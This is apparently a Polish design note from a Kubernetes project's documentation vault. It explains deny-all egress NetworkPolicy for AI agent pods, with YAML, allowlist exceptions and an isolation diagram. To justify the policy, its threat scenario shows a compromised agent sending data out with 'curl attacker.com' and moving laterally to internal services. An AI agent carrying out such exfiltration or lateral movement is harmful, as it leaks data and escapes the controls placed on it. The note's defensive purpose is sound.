Files
obsidian-sympozium/05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
2026-03-25 00:05:57 +01:00

2.2 KiB

NetworkPolicy i izolacja sieciowa

#sympozium #security #network

Zasada

Agent pods mają deny-all egress - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.

Implementacja

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: agent-deny-all
spec:
  podSelector:
    matchLabels:
      sympozium.ai/component: agent
  policyTypes:
    - Egress
  egress: []  # DENY ALL

Wyjątki (via SympoziumPolicy)

networkPolicy:
  denyAll: true
  allowDNS: true        # Agent może rozwiązywać nazwy
  allowEventBus: true   # IPC Bridge → NATS
  allowedEgress:         # Whitelist
    - host: "api.openai.com"
      port: 443

Dlaczego to ważne?

Scenariusz ataku bez NetworkPolicy:

Compromised agent → curl attacker.com → exfiltrate data
Compromised agent → curl internal-api.svc → lateral movement

Z NetworkPolicy:

Compromised agent → curl anything → BLOCKED
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)

Architektura izolacji

┌─────────────────────────────────────────┐
│ Agent Pod (deny-all egress)              │
│                                          │
│  ┌──────────┐  ┌──────────────┐         │
│  │  Agent   │  │  IPC Bridge  │→→→ NATS │
│  │  (no net)│  │  (has net)   │         │
│  └──────────┘  └──────────────┘         │
│       │                                  │
│       └── /ipc/ (filesystem only) ──────┘│
└──────────────────────────────────────────┘

Agent kontener:

  • Brak dostępu sieciowego
  • Komunikacja tylko przez filesystem (/ipc/)

IPC Bridge sidecar:

  • Ma dostęp TYLKO do NATS
  • Bridguje filesystem → NATS

Powiązane: Model bezpieczeństwa Defence-in-Depth | Przepływ danych i IPC | SympoziumPolicy